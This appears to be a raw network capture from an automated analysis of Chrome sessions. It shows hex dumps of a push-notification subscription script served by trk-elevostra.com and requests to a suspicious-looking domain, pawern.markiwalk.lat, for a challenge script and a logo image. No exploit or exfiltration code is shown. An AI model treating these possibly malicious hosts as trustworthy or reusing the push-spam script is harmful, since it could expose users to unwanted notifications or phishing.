2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 97 3b 8f 74 d1 21 0a 0d 03 6e eb cc f6 3e 14 ef 13 cd 79 1d ce a2 2d 77 df 7d cd a6 33 37 2e 57 5f 12 7a ab aa 6a 9a 8a 94 f7 24 cd 12 82 82 e1 a1 a1 e1 c9 84 93 39 d0 ba 20 cc ac e4 89 73 d6 e3 d3 17 5e b1 4b 2d da 4b 25 18 58 37 e4 c8 10 fa 29 e0 43 11 0a 7f f1 6d 8d 28 af a8 b5 27 ea e6 8b c3 d6 e9 83 af 66 92 81 85 2c ae eb 03 02 e9 ee ee 1e 3e 5c d2 85 e3 42 32 ca d0 dc b3 fd d5 1b ff f4 32 17 df 37 c1 1f cd 47 c9 58 f8 a9 21 c8 be eb 87 ba c0 05 2a f6 88 ca 31 e2 78 ab 69 7c fd bd ea b5 10 0a ab 97 60 3c c7 d3 1d f9 3c 2a a4 0e 13 80 29 c3 c4 c9 38 07 3e 30 b6 4b b5 f9 8a 33 db eb 55 8f 6d 9f a8 c1 31 36 0a 76 f6 cd 70 01 79 81 1c e8 02 eb 5e cd 12 52 f3 6d 6a 35 6d dd dc c1 0b 1e 7b f2 c0 81 5d 56 21 51 de 14 df 0b 7d 98 fe 54 c2 6b a8 00 c1 5f fa Data Ascii: ;t!n>y-w}37.W_zj$9 s^K-K%X7)Cm('f,>\B227GX!1xi\|`<<)8>0K3Um16vpy^Rmj5m{]V!Q}Tk_
2024-10-03 16:18:14 UTC	1083	IN	Data Raw: 5b 80 4a b2 0c b1 b1 1d f0 72 88 fc 7a 53 47 87 d3 ee 05 38 bc 1b 30 96 4b ee 31 b8 bd 4e e7 ed 91 a1 d7 66 c8 b9 d5 e5 d0 66 96 f7 ba ca 1a c6 6a 21 52 ca 86 06 f7 b5 37 5f 42 91 a9 92 1c b2 af 39 f1 ca 2b bb 27 f5 24 fb f6 14 41 e8 85 52 2a 2e c9 b2 65 50 0c 2d 4c 36 1d b3 da 7d ee f9 8b 42 23 a3 6f ab 76 d8 1d 77 6f 80 63 d1 6a 8b 8e bc 94 6c 06 ae 49 e1 97 6d 13 5b 15 e0 3f 87 aa 33 aa b6 87 bf 98 8f 93 8c 14 bd 14 2d f8 64 4a 0a 4e 3e 9c 30 98 30 38 08 dc aa 82 ae 02 e8 14 70 66 e1 ec 78 6a dd cc 3e 05 15 de d2 f4 8c aa 49 eb 20 9d f8 b2 a8 88 2d d5 5b fe 3a b5 e1 82 4d 41 ce c0 35 19 d9 d9 3a ce cc be 42 92 ff 5d fb ed d3 ba e2 d6 a2 66 c5 ca a4 42 0a 5f fd 2b a7 73 f4 fa 02 29 59 43 27 f0 81 ca a2 9d 4a b9 7a 36 1f 63 13 68 ad c7 ac aa 5b a2 d9 43 Data Ascii: [JrzSG80K1Nffj!R7_B9+'$AR*.eP-L6}B#ovwocjlIm[?3-dJN>008pfxj>I -[:MA5:B]fB_+s)YC'Jz6ch[C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49760	188.114.97.3	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	364	OUT	GET /scripts/push/v9e118mez8 HTTP/1.1 Host: trk-elevostra.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-03 16:18:14 UTC	1348	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:14 GMT Content-Type: application/javascript;charset=UTF-8 Transfer-Encoding: chunked Connection: close expires: 0 Cache-Control: max-age=14400, must-revalidate x-xss-protection: 1; mode=block pragma: no-cache x-frame-options: SAMEORIGIN referrer-policy: strict-origin-when-cross-origin content-security-policy: default-src 'self'; frame-src 'self' data:; connect-src 'self' https://cdn-media-2020.s3.amazonaws.com; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://storage.googleapis.com; style-src 'self' 'unsafe-inline'; img-src * 'self' https://* blob: data:; font-src 'self' data: vary: Origin vary: Access-Control-Request-Method vary: Access-Control-Request-Headers x-content-type-options: nosniff permissions-policy: camera=(), fullscreen=(self), geolocation=(), gyroscope=(), magnetometer=(), microphone=(), midi=(), payment=(), sync-xhr=() CF-Cache-Status: HIT Age: 5201 Last-Modified: Thu, 03 Oct 2024 14:51:33 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cXSQDyHJBMOyBRzcbZkpa52IztJKnXV61E%2F%2FOOvrrPPu1yRqhrxw5tJj0w8oFT2tErIbadriFcGL3J7dxNyqb264ZqLCJa5%2FLVFtlr%2BlU6B6ar9Vyiv53KmmRbgDjtidIW2Z0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare
2024-10-03 16:18:14 UTC	32	IN	Data Raw: 43 46 2d 52 41 59 3a 20 38 63 63 65 33 66 33 39 36 65 62 30 34 32 61 36 2d 45 57 52 0d 0a 0d 0a Data Ascii: CF-RAY: 8cce3f396eb042a6-EWR
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 31 66 63 63 0d 0a 27 75 73 65 20 73 74 72 69 63 74 27 3b 63 6f 6e 73 74 20 73 6d 50 75 73 68 41 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 50 75 62 6c 69 63 4b 65 79 3d 22 42 4a 62 75 6a 74 4b 49 6d 6b 69 4c 57 6a 6c 57 6b 4d 47 59 4d 6f 32 5f 73 4d 30 61 6c 32 34 4b 6f 53 37 55 36 54 4a 31 55 37 73 4b 4a 61 78 6c 49 55 4c 7a 35 73 36 70 37 74 4e 36 57 62 6e 4c 69 73 43 71 5f 53 69 35 68 50 37 58 30 37 36 39 54 76 50 44 46 54 51 3d 22 2c 73 6d 50 75 73 68 53 69 74 65 49 64 3d 22 76 39 65 31 31 38 6d 65 7a 38 22 2c 73 6d 43 6c 69 65 6e 74 49 64 3d 22 71 32 67 6f 79 6b 6a 64 72 76 22 2c 73 65 72 76 69 63 65 57 6f 72 6b 65 72 3d 22 2f 73 65 72 76 69 63 65 2d 77 6f 72 6b 65 72 2e 6a 73 22 3b 6c 65 74 20 73 6d 50 75 73 68 44 6f 6d 61 69 6e 3d 22 70 75 73 Data Ascii: 1fcc'use strict';const smPushApplicationServerPublicKey="BJbujtKImkiLWjlWkMGYMo2_sM0al24KoS7U6TJ1U7sKJaxlIULz5s6p7tN6WbnLisCq_Si5hP7X0769TvPDFTQ=",smPushSiteId="v9e118mez8",smClientId="q2goykjdrv",serviceWorker="/service-worker.js";let smPushDomain="pus
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 2e 73 6f 75 72 63 65 4f 6e 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 6f 6e 65 2c 62 2e 73 6f 75 72 63 65 5f 6f 6e 65 29 2c 61 2e 73 6f 75 72 63 65 54 77 6f 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 77 6f 2c 62 2e 73 6f 75 72 63 65 5f 74 77 6f 29 2c 61 2e 73 6f 75 72 63 65 54 68 72 65 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 2c 62 2e 73 6f 75 72 63 65 5f 74 68 72 65 65 29 2c 61 2e 73 6f 75 72 63 65 46 6f 75 72 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 6f 75 72 63 65 5f 66 6f 75 72 2c 62 2e 73 6f 75 72 63 65 5f 66 6f 75 72 29 2c 61 2e 73 6f 75 72 63 65 46 69 76 65 3d 73 65 74 49 66 4e 75 6c 6c 28 75 74 6d 4f 62 6a 2e 73 Data Ascii: .sourceOne=setIfNull(utmObj.source_one,b.source_one),a.sourceTwo=setIfNull(utmObj.source_two,b.source_two),a.sourceThree=setIfNull(utmObj.source_three,b.source_three),a.sourceFour=setIfNull(utmObj.source_four,b.source_four),a.sourceFive=setIfNull(utmObj.s
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 22 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 70 74 22 2c 76 65 72 73 69 6f 6e 29 2c 61 2e 70 75 73 68 4d 61 6e 61 67 65 72 2e 73 75 62 73 63 72 69 62 65 28 7b 75 73 65 72 56 69 73 69 62 6c 65 4f 6e 6c 79 3a 21 30 2c 61 70 70 6c 69 63 61 74 69 6f 6e 53 65 72 76 65 72 4b 65 79 3a 62 7d 29 7d 22 64 65 6e 69 65 64 22 3d 3d 3d 4e 6f 74 69 66 69 63 61 74 69 6f 6e 2e 70 65 72 6d 69 73 73 69 6f 6e 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 22 64 65 6e 69 65 64 5f 69 6d 70 72 65 73 73 69 6f 6e 22 2c 76 65 72 73 69 6f 6e 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 Data Ascii: subscribe_prompt","subscribe_prompt",version),a.pushManager.subscribe({userVisibleOnly:!0,applicationServerKey:b})}"denied"===Notification.permission&&logPushEvent("denied_impression","denied_impression",version)}).catch(function(a){console.error("Service
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 2e 6c 6f 67 28 22 74 61 62 6f 6f 6c 61 55 72 6c 20 66 65 74 63 68 20 65 72 72 6f 72 22 2c 61 29 2c 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 74 61 62 6f 6f 6c 61 5f 72 65 71 75 65 73 74 5f 65 72 72 6f 72 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 29 7d 29 2e 63 61 74 63 68 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 22 53 65 72 76 69 63 65 20 57 6f 72 6b 65 72 20 45 72 72 6f 72 22 2c 61 29 2c 70 75 73 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 70 75 73 68 5f 73 75 62 73 63 72 69 62 65 5f 70 72 6f 6d 69 73 65 28 29 7b 72 65 74 75 72 6e 20 6e 61 76 69 67 61 74 Data Ascii: .log("taboolaUrl fetch error",a),logPushEvent("taboola_request_error",a,version)})})}).catch(function(a){console.error("Service Worker Error",a),pushLogging&&logPushEvent("error_subscribing",a,version)})}})}function push_subscribe_promise(){return navigat
2024-10-03 16:18:14 UTC	1369	IN	Data Raw: 68 4c 6f 67 67 69 6e 67 26 26 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 22 65 72 72 6f 72 5f 73 75 62 73 63 72 69 62 69 6e 67 22 2c 61 2c 76 65 72 73 69 6f 6e 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 49 66 4e 75 6c 6c 28 63 2c 61 29 7b 72 65 74 75 72 6e 20 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 6e 75 6c 6c 3d 3d 3d 63 7c 7c 22 22 3d 3d 3d 63 3f 61 3a 63 7d 66 75 6e 63 74 69 6f 6e 20 6c 6f 67 50 75 73 68 45 76 65 6e 74 28 61 2c 62 2c 63 29 7b 6c 65 74 20 64 3d 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 62 29 3b 22 7b 7d 22 21 3d 3d 64 26 26 28 62 3d 64 29 3b 6c 65 74 20 65 3d 7b 7d 3b 70 75 6c 6c 55 72 6c 50 61 72 61 6d 73 28 65 29 2c 65 2e 6d 65 73 73 61 67 65 3d 62 2c 65 2e 76 65 72 73 69 6f 6e 3d 63 2c 65 2e 65 76 65 6e 74 3d 22 70 5f 22 2b 61 3b 66 Data Ascii: hLogging&&logPushEvent("error_subscribing",a,version)})}function setIfNull(c,a){return void 0===c\|\|null===c\|\|""===c?a:c}function logPushEvent(a,b,c){let d=JSON.stringify(b);"{}"!==d&&(b=d);let e={};pullUrlParams(e),e.message=b,e.version=c,e.event="p_"+a;f
2024-10-03 16:18:14 UTC	1303	IN	Data Raw: 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 28 73 65 73 73 69 6f 6e 49 64 3d 61 29 7d 66 75 6e 63 74 69 6f 6e 20 73 65 74 55 74 6d 28 61 29 7b 22 73 65 72 76 69 63 65 57 6f 72 6b 65 72 22 69 6e 20 6e 61 76 69 67 61 74 6f 72 26 26 22 50 75 73 68 4d 61 6e 61 67 65 72 22 69 6e 20 77 69 6e 64 6f 77 26 26 6e 75 6c 6c 21 3d 61 26 26 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 28 75 74 6d 4f 62 6a 2c 61 29 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 53 65 73 73 69 6f 6e 49 64 28 29 7b 72 65 74 75 72 6e 20 73 65 73 73 69 6f 6e 49 64 7d 66 75 6e 63 74 69 6f 6e 20 67 65 74 55 72 6c 56 61 72 73 28 29 7b 6c 65 74 20 61 3d 7b 7d 2c 62 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 Data Ascii: viceWorker"in navigator&&"PushManager"in window&&(sessionId=a)}function setUtm(a){"serviceWorker"in navigator&&"PushManager"in window&&null!=a&&Object.assign(utmObj,a)}function getSessionId(){return sessionId}function getUrlVars(){let a={},b=window.locati
2024-10-03 16:18:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.16	49761	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	583	OUT	GET /cdn-cgi/challenge-platform/scripts/jsd/main.js HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	683	IN	HTTP/1.1 302 Found Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Length: 0 Connection: close location: /cdn-cgi/challenge-platform/h/g/scripts/jsd/ec4b873d446c/main.js? cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=10800, public access-control-allow-origin: * Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=M2hNQdKkn00vB%2BvvQ9KInzLDvdn8ZLODetk%2FpBA6ltRLtEtUzSOufdEfFA3HLzlkITQq%2FSEcyitnYV1DVGnitKvZQ%2FW1rJqbibncz5%2FRrHGhMvgXLQ125lneuy1294BupUerr6ukOA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3c0c307c8a-EWR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.16	49762	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:14 UTC	711	OUT	GET /master/us217/logo.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://pawern.markiwalk.lat/vjncl/uvre/njam/iern?b92722dcb0ed8f668036958395ea62e7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	803	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 10260 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7BOYZ0cD%2BWQEYH6wZDYc0Yaftk9jaNh0ThQiSJu3dqJCHjpwWF2NQgiqc7ZSWr3iBsP0MY35oIkF3%2BRPwLmIWS%2F3tufOvmn16BWYwfZLM3sCrvpJ4%2FREBwKUjwsL0TLYeex3u6UqzA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3c0c80436e-EWR
2024-10-03 16:18:15 UTC	566	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 00 ff 08 03 00 00 00 27 80 fb b2 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: PNGIHDR'iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 6e 74 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 30 3a 35 38 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 30 3a 35 38 2b 30 38 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 Data Ascii: nt#" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:50:58+08:00" xmp:MetadataDate="2024-08-28T21:50:58+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.ii
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 2e 37 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e 62 81 d1 98 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 03 00 50 4c 54 45 47 70 4c e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 19 53 98 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f Data Ascii: .7 (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>bpHYs.#.#x?vPLTEGpL3333333333333333333333S33333333
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 7c b9 d8 25 b3 e6 34 4f b9 ab 21 a2 cc db ab 3e 78 ef 11 e3 d7 7b ef 40 45 b3 bb 8e f5 1f 98 d4 fa e8 98 89 23 56 37 9e 7c 6f f2 02 da 24 77 4b 58 78 bc ed ba 9e 79 3b ba 64 14 cf 4a 41 1d f7 e5 dc 2d 7b 6e 31 e1 d9 32 03 2a 0a a5 c4 67 0c ea 74 7d e3 6e 0c 47 f2 d8 76 c3 8e e6 f6 6f 8e ba e8 9d cf 6e 5b 66 2e c7 a9 73 50 d1 a4 c3 ce dc ae 1b 1b 27 f3 0a 4c 1e 95 d6 a5 f8 6c 3a ea 8c 73 2b 2f bc 69 2e db 2d 07 a0 a2 43 87 81 bd b7 4f 66 75 f9 a4 ed ee 6b af 46 ad db fb f9 b3 6f 9a 2b d3 fd 01 a8 ba 2e 67 c9 b6 5e 8d 59 fd 26 b7 69 9d 99 88 5a f3 d5 a3 ef f5 30 57 ae 00 aa 2e 4b 7f f7 68 bb 6c d6 9c 7e ab 6f 1a 97 85 c8 5b b5 a5 60 8d a9 1e 5f 40 d5 55 67 bb 8c bc 86 35 2f 79 d4 8e 25 88 a0 c3 2f 1c 5a 66 aa 4f 0f a8 ba 28 6e f6 80 5f d0 8f d1 93 1a b7 7b Data Ascii: \|%4O!>x{@E#V7\|o$wKXxy;dJA-{n12*gt}nGvon[f.sP'Ll:s+/i.-COfukFo+.g^Y&iZ0W.Khl~o[`_@Ug5/y%/ZfO(n_{
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: fa cc 01 d4 94 db 4c b0 35 d3 a0 22 66 22 45 cd 3a a2 4c 02 5d 64 c1 87 5f d2 c5 d5 f0 e1 38 5d b4 45 b9 c4 76 74 ba f8 dd a5 bf 7f f3 cd ef 4d a0 d3 77 be 81 1a d4 d4 04 fb 0c 2a 62 8e 50 f4 2a ca 2d a1 9b 5c f8 90 40 17 4f c0 db 99 ab e8 a2 5b 0e 2a bc 46 a7 8b bc f4 2f 3f 7c f3 7b 63 d9 f7 d9 db a8 49 c3 d7 98 20 05 50 91 92 73 3d 45 bd 50 a1 01 dd dc 0d 6f b1 74 33 0a de 76 d1 55 67 54 1a 40 a7 8b bc f4 8f 3f 7d f3 7b 53 e6 e4 33 f7 a3 86 1d 34 41 ba 0f 87 8a 94 21 14 f5 42 a5 d5 74 d3 0d de 06 d1 4d bf 18 78 ea 4d 57 03 60 49 a5 d3 c5 8b 97 fe f9 4f df fc de 18 b3 6f ee 54 d4 b8 67 4d 90 83 50 11 d2 70 14 45 63 50 29 a5 0f 5d 2d 81 a7 be 74 f5 2e 3c 35 a3 ab 6c 54 b9 91 82 1f 2f fd e3 87 3f fe cf 3b 1f 44 24 3c 62 02 dd 0c 15 29 6d 29 3a 0f 4b 2e dd Data Ascii: L5"f"E:L]d_8]EvtMwbP-\@O[*F/?\|{cI Ps=EPot3vUgT@?}{S34A!BtMxMW`IOoTgMPpEcP)]-t.<5lT/?;D$<b)m):K.
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 32 28 1a 09 a7 51 b4 34 47 99 0c ba 58 04 87 24 5a 06 a3 5c 13 ca 7a c3 e1 69 56 29 46 99 c5 74 d1 02 4e 3d 29 da 81 ea 30 bc bb 29 f3 e9 54 a8 88 eb 45 d1 72 38 dc 95 cc 4a f9 28 d7 a2 90 b2 d7 e1 d0 86 96 fe 28 d7 9b b2 21 70 18 40 4b b7 1c 94 9b 4c 59 2e 9c 96 53 34 0a d5 e0 81 3b 4c 99 13 50 b5 60 21 45 8b e1 b0 95 96 ae a8 d0 96 b2 7b 61 17 d3 8d 95 c6 37 44 b9 78 ba c8 82 dd 58 5a 8e a0 42 4f ca 46 c2 29 96 a2 4f 70 e5 a6 2c 33 65 6e 87 aa 05 2d 29 ba 26 06 0e 3d 69 b9 01 15 66 d2 c5 2e d8 f4 a7 a5 0d 2a e4 14 51 36 01 36 8b 59 a5 0b 2a 8c a3 6c 7d 3a 1c 62 26 51 d4 1c 57 6a ea a7 a6 cc b3 50 b5 61 1c 45 23 e0 94 c0 4a e3 63 50 e1 18 5d dc 04 9b 54 5a 72 51 e9 7a ca 46 c0 a6 3d ab c4 a2 c2 99 64 ca 76 c2 e9 7a 8a 3a e3 4a bd 69 ca 7c 0d 55 2b 76 50 Data Ascii: 2(Q4GX$Z\ziV)FtN=)0)TEr8J((!p@KLY.S4;LP`!E{a7DxXZBOF)Op,3en-)&=if.Q66Yl}:b&QWjPaE#JcP]TZrQzF=dvz:Ji\|U+vP
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 29 49 4e 84 25 9e 96 a1 10 a5 d1 c5 bb 00 9a d0 d2 1c 92 39 74 b1 03 c0 eb b4 2c 84 28 8d b2 56 08 90 40 d1 93 f0 e9 c0 32 63 cc 6d 33 a0 ea 9e b6 14 65 c0 92 47 cb 18 88 72 e9 62 00 d0 81 96 7c c8 d6 52 f6 2a 10 33 89 96 89 10 bd 4b 17 b1 b0 64 52 d4 0c 3e 1d 9c 6e 8c f9 0c aa 2e 6a 40 d1 3a 58 de a2 65 1c 44 2d e9 62 32 b0 9c 96 ae 90 a5 52 d6 28 1d 99 ac d2 05 a2 33 45 94 1d 85 65 37 45 4f c0 9f 4d c6 98 93 2f 43 d5 49 cd 29 fa 04 95 ce f4 63 a5 d1 71 90 f5 a5 8b 8e 68 43 cb 2e c8 76 d1 c5 06 dc c8 2a 1d 21 6b 4b 59 13 54 8a b9 86 92 d1 2d e1 c7 e1 db 8c 31 b7 0d 87 aa a3 da 51 f4 2e 2a 14 d3 b2 16 2e 9e a0 8b d9 18 ca 4a fd 1a c2 c5 bd 94 dd 84 e3 b4 e4 c3 45 1e 5d 74 40 85 ce 14 1d 87 1f d3 de 34 c6 fc 1a aa ce 1a 47 d1 28 54 48 a5 25 0d 2e 16 d3 c5 Data Ascii: )IN%9t,(V@2cm3eGrb\|R3KdR>n.j@:XeD-b2R(3Ee7EOM/CI)cqhC.v!kKYT-1Q.*.JE]t@4G(TH%.
